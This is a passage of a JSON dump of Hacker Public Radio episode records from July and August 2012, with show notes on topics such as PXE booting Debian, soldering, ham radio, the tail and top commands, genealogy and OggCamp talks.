      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"disk usage,du","version":0,"downloads":2435,"valid":1}, {"id":1033,"date":"2012-07-18","title":"Go RTFM","duration":469,"summary":"Asking for help from others versus trying to find the answer yourself","notes":"This my first show for HPR I wanted to express my feelings on why we should be able say rtfm and why. With understanding that its good for growth and that maybe not to say rtfm fully persay, but to find away say it in a positive light for the user. I type this to see people gets the point to read more then hear! :)","hostid":217,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"RTFM,helpfulness,self-help","version":0,"downloads":2210,"valid":1}, {"id":1034,"date":"2012-07-19","title":"PXE Boot","duration":1018,"summary":"Setting up an information display with a thin client and spare monitor","notes":"

      \nIn todays show, Ken tells of his struggle to get silent PC to work with his spare 17\" monitor. His attempts to get a \"VIA EPIA M9000 Mini ITX Motherboard\" failed miserably and so he has turned to a HP Compaq t5000 thin client. As can be seen in this post here and discussed here.\n

      \n

      \n\n

      \n

      \nThe OS installs fine from USB but you run into grub issues on reboot that require you to boot from USB disk to rectify and that runs into problems as the boot order get's confusing. To get around this I decided to install Debian via PXE boot or more commonly \"Pixie\" boot. A full description can be found on the debian wiki. Basically it involves setting up a DHCP server, a TFTP server and downloading a boot image.\n

      \n

      \nOnce you have everything configured is a standard Debian net install. The only gotya is entering the MAC address of your Client and making sure you know what is happening on your network with regard to DHCP. I set the internal sd drive as the boot partition, created a 500Mb swap on my 4G external disk and put the root as the rest. I set both the boot and the root partition to ext2 as I didn't want the added strain of journaling on the sd media.\n

      \n

      \nI ran into the Grub 2 ERROR 17 issue which meant that I had to do some reading on Grub2 and we're back to the bad old days of lilo where you need run commands or your config changes are ignored. Anyway another Pixie boot, this time into recovery mode long enough to type update-grub. A quick reboot and we're into a standard Debian base install.\n

      \n

      \nI took the steps to installing Debian multimedia by adding the magic deb https://www.debian-multimedia.org squeeze main non-free to my /etc/apt/sources.list and then doing\n

      \naptitude install debian-multimedia-keyring\n
      \nto get the keyring in order. After that it was a aptitude update and a aptitude safe-upgrade and that was it. I was free to install anything I wanted.\n

      \n

      Links

      \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"PXE boot,thin client,DHCP,TFTP","version":0,"downloads":2384,"valid":1}, {"id":1035,"date":"2012-07-20","title":"OGG Camp 11 Panel Discussion","duration":1895,"summary":"Fourth in a series of OggCamp 11 highlights from the Full Circle Podcast","notes":"

      Welcome to the Full Circle Podcast on Hacker Public Radio. This is the fourth of our highlights of last Summers unconference, OGG Camp-11, held at Farnham Maltings in the South of England.

      \n\n

      Introducing Andy Piper on MQTT: MQ Telemetry Transport

      \n\n

      MQTT is a machine-to-machine (M2M)/\"Internet of Things\" connectivity protocol. It was designed as an extremely lightweight publish/subscribe messaging transport. It is useful for connections with remote locations where a small code footprint is required and/or network bandwidth is at a premium. For example, it has been used in sensors communicating to a broker via satellite link, over occasional dial-up connections with healthcare providers, and in a range of home automation and small device scenarios. It is also ideal for mobile applications because of its small size, low power usage, minimised data packets, and efficient distribution of information to one or many receivers

      \n\n

      Andy Piper on Lanyrd: social bridgebuilder, photographer, techie, speaker, podcaster, WebSphere Messaging Community Lead @ IBM, Committee @ Digital Surrey.

      \n

      The presentation Messaging for the Internet of Awesome Things (slideshare.net)

      \n

      Andy’s blog for MQTT, The Lost Outpost is also on-line.

      \n\n

      OGG Camp is a joint venture organised by those lovely podcasters the Linux Outlaws and the Ubuntu UK Podcast.

      \n\n

      We've more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including Andy Piper and Laura Cjaikowski.

      \n\n

      The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at www.fullcirclemagazine.org/podcast.

      \n\n

      Feedback; you can post comments and feedback on the podcast page at www.fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

      \n\n

      Your Hosts:

      \n\n\n\n

      Additional audio by Victoria Pritchard

      \n\n

      Runtime: 31mins 35seconds

      \n","hostid":160,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast,MQTT","version":0,"downloads":2538,"valid":1}, {"id":1036,"date":"2012-07-23","title":"Setting up Your First Ham Radio Station","duration":1740,"summary":"Advice on starting with Amateur Radio","notes":"

      \nJoel\nSetting up Your First Ham Radio Station\nHam Radio\n

      \n

      \nhttps://www.yaesu.com/
      \nhttps://www.kenwoodusa.com/Communications/
      \nhttps://www.icomamerica.com/en/
      \n

      \n

      \nBaofeng UV-3R https://www.amazon.com/Baofeng-UV-3R-Display-136-174-400-470MHz/dp/B006J4G49C/ref=sr_1_2?ie=UTF8&qid=1339045186&sr=8-2\n

      \n

      \nBaofeng UV-5R https://www.amazon.com/BaoFeng-UV-5R-136-174-400-480-Dual-Band/dp/B007H4VT7A/ref=sr_1_1?ie=UTF8&qid=1339045186&sr=8-1\n

      \n

      \nWouxxun https://www.amazon.com/Wouxun-KG-UVD1P-400-470MHz-Handheld-Transceiver/dp/B005M5XOZQ/ref=sr_1_sc_1?s=electronics&ie=UTF8&qid=1339045262&sr=1-1-spell\n

      \n

      \nDipole Calculator - https://www.kwarc.org/ant-calc.html\n

      \n

      \nPocket J-Pole - https://larc.hamgate.net/pocketJpole.htm\n

      \n

      \nComet Under Window/Door Jumper https://www.cometantenna.com/newPro_detail.php?ID=264\n

      \n

      \nPower Supply - https://universal-radio.com/catalog/hamps/3286.html\n

      ","hostid":173,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Amateur radio,Ham radio","version":0,"downloads":2330,"valid":1}, {"id":1037,"date":"2012-07-24","title":"Soldering Part 1","duration":1665,"summary":"A show about the tools needed for soldering","notes":"

      \nA show about the tools needed for soldering\n

      \n

      \nExample of a battery powered soldering iron (similar to the on I had)\nhttps://www.iso-tip.com/wp-content/uploads/2011/04/7700IsoTipQuickChargeWeb2-4.jpg\n

      \n

      \nWeller soldering gun kit similar to the one I owned\nhttps://www.tooled-up.com/Product.asp?PID=12425\n

      \n

      \nPortalsol Iron (My gas powered soldering Iron)\nhttps://in.rsdelivers.com/product/portasol/10181060/miniature-gas-soldering-iron-60w-171mm-l/0600234.aspx\n

      \n

      \nAntex iron, with soldering stand and sponge (The one I fitted I diode to)\nhttps://en.wikipedia.org/wiki/File:SolderStation.JPG\n

      \n

      \nWeller magnostatic work station (Similar to the one I used in the early part of my career) \nhttps://tehnikservice.net/2010/03/27/temperature-led-for-weller-wtcps/\n

      \n

      \nA modern Weller magnostatic work station\nhttps://www.eham.net/reviews/detail/4478\n

      \n

      \nAn example of my Weller temperature controlled iron, mine is almost as scabby as this one!\nhttps://www.bmius.com/p-7802-weller-ec2002a-soldering-station-ec-2000-power-unit.aspx\n

      \n

      \nAn example of a soldering sponge\nhttps://www.maplin.co.uk/replacement-sponge-4078\n

      \n

      \nAn example of a dry joint\nhttps://www.fordwiki.co.uk/index.php?title=File:CrctCrck-2.jpg\n

      \n

      \nWiki entry on Heatshrink sleeving\nhttps://en.wikipedia.org/wiki/Heatshrink\n

      \n

      \nsmall jewelers screwdrivers I own\nhttps://www.amazon.co.uk/Rolson-Tools-28289-piece-Screwdriver/dp/B000WDXMBY/ref=sr_1_9?ie=UTF8&qid=1336310437&sr=8-9\n

      ","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"solder,soldering,soldering iron,soldering sponge,dry joint","version":0,"downloads":2343,"valid":1}, {"id":1038,"date":"2012-07-25","title":"Interview with George Vlahavas and Andreas Born of the Salix OS project","duration":2671,"summary":"Interview with George Vlahavas and Andreas Born","notes":"

      \nI've been using Salix OS, a Slackware derivative, for a while now and I wanted to share my love of it with it's developers and with all of you. If you find this interview or this GNU/Linux distro compelling please go to https://www.salixos.org and give it a try.\n

      \n

      \nThank you so much for listening.
      \n-pokey\n

      \n

      \nP.S. Some people enjoy finding mistakes. For their enjoyment, I have probably included a few.\n

      ","hostid":128,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Salix OS,Slackware","version":0,"downloads":2741,"valid":1}, {"id":1039,"date":"2012-07-26","title":"Matt Lee Gnu FM and Libre FM","duration":1918,"summary":"A recording of a talk from the Northeast GNU/Linux Fest by Matt Lee","notes":"

      \nTodays show was recorded at the Northeast GNU/Linux Fest 2012-03-17\n

      \n

      \nLibre.fm
      \nFrom Wikipedia, the free encyclopedia\n

      \n\n

      \nLibre.fm is a music community website that aims to provide a Free Software replacement for last.fm. The website was founded in 2009 by Matt Lee. It is under active development.\n

      \n

      \nLibre.fm can optionally store a user's listening habits using information sent to the website's server from the user's audio player via scrobbling. In order to enable support for Libre.fm on existing audio players, the website implements the Last.fm Audioscrobbler API. In addition to collecting user uploaded listening data, the site offers streaming music using the Ogg container, from the sites Jamendo or The Internet Archive, via an HTML5 audio player, run directly in the user's browser.\n

      \n

      \nBy utilising the records of users' listening habits, the website aims to be able to recommend music to users by analysing their musical taste. However, this feature isn't fully developed yet. The site currently only offers basic suggestions if content a user has \"Loved\" (favorited), contains shared tags with content a user has not favorited yet. Registered users who have favorited tracks, will have that content appear in streaming web playlists, called \"Radio Stations\". It is not currently possible to build custom playlists.\n

      \n

      \nA goal of the project is to encourage artists to release tracks under a free license, and allow users to download or purchase these tracks. Only artists releasing music under free content licenses are promoted by the site. The website will also allow users to communicate among themselves, create groups of common interests and share information on musical events.\n

      \n

      \nThe main reasoning behind the foundation of Libre.fm was to provide a service similar to last.fm that respects the privacy of its users and their information. As such, Libre.fm does not log users' IP addresses, allows users to decide if their listening habits are to be made public or not, and does not claim ownership on users' data.\n

      \n

      \nLibre.fm is powered by the free software package GNU FM, created for the project.\n

      \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Libre.fm,GNU FM,Audioscrobbler","version":0,"downloads":2353,"valid":1}, {"id":1040,"date":"2012-07-27","title":"Steam on Linux","duration":759,"summary":"A discussion of the future of Steam on Linux","notes":"

      Steam announced platform development for Ubuntu. Lord Drachenblut and Downer discuss how this will affect the linux gaming world as well as some concerns.

      \nThe blog article we reference can be found here:
      \nhttps://blogs.valvesoftware.com/linux/steamd-penguins/","hostid":178,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Steam,Linux,game,gaming","version":0,"downloads":2356,"valid":1}, {"id":1041,"date":"2012-07-30","title":"Home from H.O.P.E.","duration":2086,"summary":"A discussion between attendees after HOPE Number Nine","notes":"

      \nQuvmoh, Murph, and NYbill talk about attending the HOPEnumber9 conference in NYC. \nH.O.P.E. stands for Hackers On Planet Earth. The conference is put on every two years\nat the Hotel Pennsylvania by the people at 2600. \n

      \n

      \nhttps://www.2600.com

      \n","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Hackers On Planet Earth,H.O.P.E.,2600","version":0,"downloads":2274,"valid":1}, {"id":1042,"date":"2012-07-31","title":"LiTS 012: tail","duration":952,"summary":"Output the last part of files with the tail command","notes":"

      The tail command is used to print out the last 10 lines of a file to standard out. This command is a staple in a system administrator’s tool kit and especially handy when monitoring log files. The basic syntax is:

      \n

      tail some_file

      \n

      Which will output the last 10 lines of the file. You can alter the number of lines with the -n, or –lines=, flag:

      \n

      tail -n20 some_file
      \ntail –lines=20 some_file

      \n

      In some versions of tail you can get away with specifying the number of lines from the end with just a “-” and number:

      \n

      tail -30 some_file

      \n

      Instead of working backwards with the -n command you can specify a “+” and some number to start from that number and list the contents to the end:

      \n

      tail -n+30 some_file

      \n

      This will display the contents of some_file from line 30 to the end of the file.\n

      \n

      \nFor the complete write up including video please go to https://www.linuxintheshell.com/2012/07/31/episode-012-tail/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"tail","version":0,"downloads":2773,"valid":1}, {"id":1043,"date":"2012-07-31","title":"Hacking Second Hand - Obtaining Old Tech","duration":1735,"summary":"Where to go to get old tech and things you should know before buying","notes":"

      \nA talk about where to go to get old tech and things you should know before venturing into the second hand market.\nCovers using who you know, using the internet, yard sales, flea markets, rummage sales, auctions, thrift stores, and trash picking.\n

      \n

      \nFamicoman.com - Obsoleet.com - Anarchivism.org\n

      ","hostid":218,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"second hand,yard sale,flea market,rummage sale,auction,thrift store,trash picking","version":0,"downloads":2472,"valid":1}, {"id":1044,"date":"2012-08-02","title":"OggCamp11: Oracle Linux","duration":1701,"summary":"An interview with JWP followed by the talk he gave","notes":"In todays long over due show we interview out very own presenter JWP and listen to his talk given at OggCamp11.","hostid":129,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp11,Oracle Linux","version":0,"downloads":2315,"valid":1}, {"id":1045,"date":"2012-08-03","title":"Genealogy","duration":608,"summary":"A look at the process of researching a UK family tree","notes":"

      \nI've been researching my family tree for a short while now, and through I'd share some of my resources and tips with other hackers.
      \n

      \n
        \n
      1. Hingley's of Netherton (Wikipedia Link Black Country History Link)
      2. \n
      3. The Titanic Anchor (BBC Black Country Link)
      4. \n
      5. Ancestry.co.uk
      6. \n
      7. Gramps
      8. \n
      9. FreeBMD
      10. \n
      11. Census records online (you can usually search the census for free at your local library)
      12. \n
      13. ukbmd
      14. \n
      15. westmidlandsBMD
      16. \n
      17. My Grandparent's marriage register record\"\"
      18. \n
      19. my family tree on ancestry.co.uk - You will need an account on ancestry - or may be able to access it via Ancestry Library Edition
      20. \n
      21. Government Records Office
      22. \n
      23. Ancestry Family History Advice
      24. \n
      \n\n

      Links

      \n
        \n
      1. https://blackcountryhistory.org/collections/getrecord/GB145_p_430/
      2. \n
      3. https://news.bbc.co.uk/local/blackcountry/hi/people_and_places/history/newsid_8908000/8908884.stm
      4. \n
      5. https://www.ancestry.co.uk
      6. \n
      7. https://www.gramps-project.org
      8. \n
      9. https://www.freebmd.org.uk
      10. \n
      11. https://www.nationalarchives.gov.uk/records/census-records.htm
      12. \n
      13. https://ukbmd.org.uk
      14. \n
      15. https://westmidlandsBMD.org.uk
      16. \n
      17. https://titaniumbunker.com/wp-content/uploads/2012/06/d127561f-afa6-4d2b-9266-dc6512a74db3-0.jpg
      18. \n
      19. https://trees.ancestry.co.uk/tree/34135438/family
      20. \n
      21. https://gro.gov.uk
      22. \n
      23. https://www.ancestry.co.uk/cs/HelpAndAdvice/Advice
      24. \n
      \n","hostid":185,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"genealogy,Gramps,FreeBMD,census,ancestry.co.uk","version":0,"downloads":2374,"valid":1}, {"id":1046,"date":"2012-08-06","title":"HPR Community News July 2012","duration":2350,"summary":"HPR Community News July 2012","notes":"

      New hosts

      \n

      Welcome to our new host: \naparanoidshell and Famicoman\n

      \n\n

      Show Review

      \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1021HPR Community News June 2012HPR Admins
      1022LiTS 010 - df - Exploring Disk Filesystem UsageDann
      1023About Rivendell with RivendellAukonDK
      1024Episode 1024Various Hosts
      1025Infonomicon Episode #51Various Hosts
      1026Setting up a WordPress blog part 4Frank Bell
      1027Migrating away from Google ReaderKen Fallon
      1028Jonathan Kulp and NYbill: Goodwill Hunting Various Hosts
      1029Karen Sandler on Medical Devices: OGG Camp Part TwoRobin Catling
      1030Ruben Rodriquez talks about Trisquel LinuxVarious Creative Commons Works
      1031Backing up your dvd collection using mencoderBrocktonBob
      1032LiTS 011: du - disk usageDann
      1033Go RTFMaparanoidshell
      1034PXE BootKen Fallon
      1035OGG Camp 11 Panel DiscussionRobin Catling
      1036Setting up Your First Ham Radio StationJoel
      1037Soldering Part 1MrX
      1038Interview with George Vlahavas and Andreas born of the SalixOS projectpokey
      1039Matt Lee Gnu FM and Libre FMVarious Creative Commons Works
      1040Steam on LinuxLord Drachenblut and Downer
      1041Home from H.O.P.E.Various Hosts
      1042LiTS: 012 - tailDann
      1043Hacking Second Hand - Obtaining Old TechFamicoman
      1044OggCamp11: Oracle LinuxJWP
      1045GenealogyMike Hingley
      \n\n

      Thanks to

      \n
        \n
      • Iwan Gabovitch for the heads up about the wrong CC lisence on the site
      • \n
      • Dave Morriss for all the fantastic work he's doing on the backend system
      • \n
      • Frank Bell and Ehtyar Holmes for all the fantastic work he's doing on the frontend system
      • \n
      • David Whitman for tracking the keywords on past episodes and for the kind donation towards paying for the European HPR banner
      • \n
      • Richard Querin for the fantastic artwork
      • \n
      • Xoke for the idea
      • \n
      • Jonathan Nadeau for the cpanel script
      • \n
      \n

      Apologies to

      \n
        \n
      • DeepGeek who sent in this
        I wanted to ask in regards to the next community news that a mention that I installed a new webpage design while on my May sabbatical, and please also announce that the second month of my sabbatical will be taken for the month of July. In August, I will resume my full schedule of three-per-month and will produce three for this month, June.
      • \n
      • DeepGeek when I forgot to announce that he would be at hope
      • \n
      • Windigo for missing that he was a new host
      • \n
      • Mike Hingley and DoorToDoorGeek for not sending him the FTP details
      • \n
      • Dave Morriss, Frank Bell and Ehtyar Holmes for not providing them enough information for the new site
      • \n
      • NYbill for not putting their show out sooner
      • \n
      • Everyone for the delay in getting the Queue and Calendar published
      • \n
      \n

      Other Notes

      \n
        \n
      • We're pushing out all the 2011 OggCamp content from last year
      • \n
      • Droops where are you
      • \n
      • hprhackers group created on gitorious.org
      • \n
      \n

      HOPE 9

      \n

      \n\"HOPE9
      \nIn case anyone is interested in audio for the talks at HOPE9, they just went up at https://www.hopenumbernine.net/schedule/\n

      \n

      OggCamp

      \n

      Ken will be at OggCamp on August 18 / 19, Art and Design Academy, Liverpool John Moores University, Liverpool, L3 5RD. If you are there coma along to the booth and sign the table. There will be a very limited number of t-shirts. Stickers were too expensive this time. If there is time, Ken will put together a booklet on the podcasts listed on thelinuxlink.net site.\n

      \n

      Ohio LinuxFest 2012 Registration is Open for Business

      \n

      \nA message from Kevin O'Brien
      \nWe are opening up Registration for the 2012 Ohio LinuxFest event, and we'd appreciate it if you could pass along this message through whichever social media you prefer. The Registration page is at https://ohiolinux.org/register\n

      \n

      AccessibleComputingFoundation fundraiser

      \n

      \nWe would like to announce the first fundraiser for the Accessible Computing Foundation!. It will be held on August 25 from 12pm EST until 12am EST August 26. This event will be streamed at The New Radiofor the entire event. It's going to be held over at Linux Basix, using their Mumble server. To find out the information for the Mumble server, please visit the Linuxbasixsite . We'll be able to have up to 30 people in the room at once, so come and join us in talking about accessibility and Free software.
      \n
      \nSo far, joining the event we will be having Jono Bacon from Ubuntu, and Zack the Debian project leader. If you'd like to speak with either of them, please come and join us on August 25. The goal for this fundraiser is to have 1000 people become members of the ACF at $2 a month. We have 3 other levels of membership options if anyone is interested. This would be a great help to the foundation and really get us off of the ground to start bridging the gap between accessibility and technology.
      \n
      \nThe reason we're focusing on the $2/month level is because it's only 50 cents a week and we think this is a goal most people could meet, even if living on a fixed income like so many people with disabilities. Since monthly membership is so low, we are really depending on MANY people to become members to make this difference. Granted $2 a month isn't much, but if we can get a large number of people thinking this way, it will add up quickly and help out the Accessible Computing Foundation in a great way. So please, join us on August 25 and help bring Accessible Freedom to people around the world!\n

      \n\n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2174,"valid":1}, {"id":1047,"date":"2012-08-07","title":"Soldering Part 2: An audio demonstration of soldering","duration":1638,"summary":"More about the process of soldering","notes":"

      \nHere is a list of useful links to go along with my 2nd episode in soldering\n

      \n

      \nA very detailed page on the art of soldering, lots of good tips hear if you want further reading\nhttps://talkingelectronics.com/FreeProjects/5-Projects/Page13.html\n

      \n

      \nBottle of flux like the type I used at work\nhttps://moonflygirl.blogspot.co.uk/2011/03/needle-bottle-for-liquid-flux.html\n

      \n

      \nTin of flux like the one used at work\nhttps://www.teyaa.com/mini-pd10-box-of-tin-soldering-flux-yellow-p-123922.html\n

      \n

      \nPerf board or strip board, I accidentally called it bread board which is something completely different\nhttps://uk.rs-online.com/web/p/prototype-development-boards/0434217/\n

      \n

      \nWikipedia entry for Perf Board or Strip Board\nhttps://en.wikipedia.org/wiki/Stripboard\n

      \n

      \nBread board is used for quick lash ups where soldering is not required as you just push the components into the holes on the board\nhttps://www.circuitboards1.com/category/breadboard/\n

      ","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"multicore solder,flux,perf board,strip board,bread board","version":0,"downloads":2265,"valid":1}, {"id":1048,"date":"2012-08-08","title":"Get off this Rock !!!","duration":2810,"summary":"Mr Gadgets talks about Space travel and living on other planets","notes":"

      \nIn this episode Mr Gadgets talks about Space. \n

      \n

      \nGetting regular people off this planet and living on other planets.
      \nhttps://en.wikipedia.org/wiki/Spacex\n

      \n

      \nKen reckons that the ping times will be terrible.\n

      \n","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"space,space travel,SpaceX","version":0,"downloads":2345,"valid":1}, {"id":1049,"date":"2012-08-09","title":"OGG Camp 11: Laura Czajowksi, Life Outside of IRC in a FLOSS Community","duration":1054,"summary":"Fifth in a series of OggCamp 11 highlights from the Full Circle Podcast","notes":"

      welcome to the Full Circle Podcast on Hacker Public Radio. This is the fifth, if I'm counting correctly, of our highlights of last Summers unconference, OGG Camp eleven, held at Farnham Maltings in the South of England.

      \n\n

      This show is a recording of a presentation from Laura Czajkowski on the benefits of real-world, as opposed to cyber-community. Entitled Life Outside of IRC in a FLOSS Community, Laura evangelises on the on the benefits of real-world interaction, beyond that on-line.

      \n\n

      Laura describes herself as Argumentative, Stubborn, Geek, Ubuntu Fan and MUNSTER FAN. Munster, for those who don't know, being a major rugby team from the town of Munster back in her native Ireland.

      \n\n

      Laura has this year joined Canonical as Launchpad Support Specialist

      \n\n

      Presentation from Laura Czajkowski.
      \n Laura czajkowski on Lanyrd: Argumentative, Stubborn, Geek, Ubuntu Fan, MUNSTER FAN
      \nSlides (pdf): Life Outside of IRC in a FLOSS Community (cypher.skynet.ie)

      \n\n

      We've more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including a de-brief with Alan Pope.

      \n\n

      OGG Camp is a joint venture organised by those lovely podcasters the Linux Outlaws and the Ubuntu UK Podcast.

      \n\n

      The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at www.fullcirclemagazine.org/podcast.

      \n\n

      Feedback; you can post comments and feedback on the podcast page at www.fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

      \n\n

      Your Hosts:

      \n\n\n\n

      Additional audio by Victoria Pritchard

      \n\n

      Runtime: 17mins 34seconds

      ","hostid":160,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp,Full Circle Podcast,IRC","version":0,"downloads":2236,"valid":1}, {"id":1050,"date":"2012-08-09","title":"TGTM Newscast for 2012/8/8 DeepGeek","duration":1381,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Links

      \n\n\n

      News from \"techdirt.com,\" \"perspectives.mvdirona.com,\"  and \"maggiemcneill.wordpress.com\" used under arranged permission. News from \"torrentfreak.com\" and \"eff.org\" used under permission of the Creative Commons by-attribution license. News from \"democracynow.org\" and \"wlcentral.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. News from \"jillstein.org\" is a press release. News Sources retain their respective copyrights.

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2267,"valid":1}, {"id":1051,"date":"2012-08-13","title":"Intro to the music","duration":1798,"summary":"5 CC songs from Jamendo.com plus tech chat including desktops, the distrowatch chart and android","notes":"

      \nThese are the name of the songs with artist used in this podcast\n

      \n\n\n\n

      \nAll this music is published under creative commons licence. Here's the link of the website\n

      \n

      \n\nhttps://www.jamendo.com/en/search/discover#qs\n

      \n

      \nEmail: ccmusique@gmail.com

      \n\n","hostid":219,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"music, jamendo, CC, creative commons","version":0,"downloads":2823,"valid":1}, {"id":1052,"date":"2012-08-14","title":"LiTS 013: Top of Top","duration":1430,"summary":"Part 1 of the top command","notes":"

      The top command is a very complex and feature-full application. When executed from the command line the top command displays two sections of information: Summary information (contained in the yellow box in the screen-shot below) and running application field information (contained in the red box):

      \n

      \"Top

      \n

      The focus of this entry will be on the Summary window of top:

      \n

      \"summary

      \n

      The screen shot above shows the summary section. The first line contains the following information in this order by default:

      \n
        \n
      • The current time
      • \n
      • up time
      • \n
      • how many users are logged in
      • \n
      • load average
      • \n
      \n

      \nFor the rest of the show notes and the video please go to https://www.linuxintheshell.com/2012/08/14/episode-013-top-of-top/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"top","version":0,"downloads":2883,"valid":1}, {"id":1053,"date":"2012-08-15","title":"Zoke with a question","duration":278,"summary":"Thoughts on funding for Linux podcasts","notes":"Following a discussion on Linux Outlaws, Xoke asks if there a way to set up a charity to take donations to support Linux Podcasts.","hostid":79,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux Outlaws,podcast,Linux,donations","version":0,"downloads":1958,"valid":1}, {"id":1054,"date":"2012-08-16","title":"Becky Hogge: Barefoot into Cyberspace","duration":2278,"summary":"An interview with journalist and author Becky Hogge","notes":"

      Hello world. Welcome to the Full Circle Podcast on Hacker Public Radio. This episode consists of an interview with journalist and author Becky Hogge.

      \n\n

      Her book, Barefoot into Cyberspace: Adventures in Search of Techno Utopia came out last year around the time of the extradition case surrounding Wikileaks founder Julian Assange. The book explores modern technology and society through activism and journalism, covering the hacker counter-culture, from Stallman and Lessig, the Chaos Club to WikiLeaks Julian Assange and Rop Gonggrijp.

      \n\n

      “I think most of what were fighting still today in the world is incompetence. Most of what we’re fighting is stupidity, and maybe a little bit of opportunism. There is also the ominous, control-seeking large corporate interests.”

      \n\n

      “We come in peace. We’re not called Chaos Computer Club because we cause chaos. If anything, a lot of our collective work has actually prevented chaos by pointing out that maybe we should lay some decent virtual foundations before we build any more virtual skyscrapers.”

      \n\n

      Barefoot into Cyberspace: Adventures in Search of Techno-Utopia by Becky Hogge, illustrated by Christopher Scally ISBN 978-1-906110-50-5 (print) | 978-1-906110-51-2 (Kindle)

      \n\n

      The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at www.fullcirclemagazine.org/podcast.

      \n\n

      Feedback; you can post comments and feedback on the podcast page at www.fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

      \n\n

      Your Hosts:

      \n\n\n\n

      Additional audio by Victoria Pritchard

      \n\n

      Runtime: 37mins 58seconds

      \n","hostid":160,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Full Circle Podcast,interview","version":0,"downloads":2288,"valid":1}, {"id":1055,"date":"2012-08-17","title":"TGTM Newscast for 2012/8/15","duration":1109,"summary":"A newscast from Talk Geek to Me","notes":"

      TGTM Newscast for 2012/8/15\n

      \n

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"havanatimes.org,\" and\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org,\" and\n\"peoplesworld.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2312,"valid":1}, {"id":1056,"date":"2012-08-20","title":"OggCamp 12 Day 1 Part 1","duration":2251,"summary":"Interviews from OggCamp 12 on day 1","notes":"

      This is the first of an all week extravaganza covering the party that was OggCamp 12. It was held on August 18 / 19 2012 in the Art & Design Academy Liverpool John Moores University Liverpool, L3 5RD

      \n

      The levels are all over the place and I don’t have the time to edit it further as I’ve been traveling all day. So in the spirit of HPR, I’ll put content over audio quality and release it as is.

      \n\n

      \nThanks to everyone who I interviewed.

      ","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp12","version":0,"downloads":2474,"valid":1}, {"id":1057,"date":"2012-08-21","title":"OggCamp 2012: Simon Phipps: mini-intro to the CDB","duration":576,"summary":"A brief look at the UK Communications Data Bill","notes":"

      Be Very Afraid! In this mini-interview Simon gives a quick introduction to the Communications Data Bill, recently introduced to the UK Parliament, which proposes to establish a nation-wide database of all citizens' text and email communications, and explains the problems with the proposals, notably the lack of judicial oversight and the massive potential for mission creep.

      \n\n

      Transcript:

      \n\n

      doubi: We're here at OggCamp 2012 at John Moores University in Liverpool and I'm here with Simon Phipps who's going to be giving a talk tomorrow on behalf of the Open Rights Group. Simon, what will your talk be about?

      \n\n

      Simon Phipps: I'm going to be talking about the Communications Data Bill, which is a piece of legislation that's just about to go through Parliament, and has very worrying consequences for people's civil liberties on the internet.

      \n\n

      doubi: Right, \"Communications Data\" maybe doesn't sound like it's to do with people's civil liberties, so what's it all about?

      \n\n

      Simon: Well, this is a Bill that solves a problem for the security services in the UK, in particular the secret service that we have over here, and the police forces. They're very worried that they can't see what's going on inside your email, and inside your text messaging, and inside your other online communications.

      \n\n

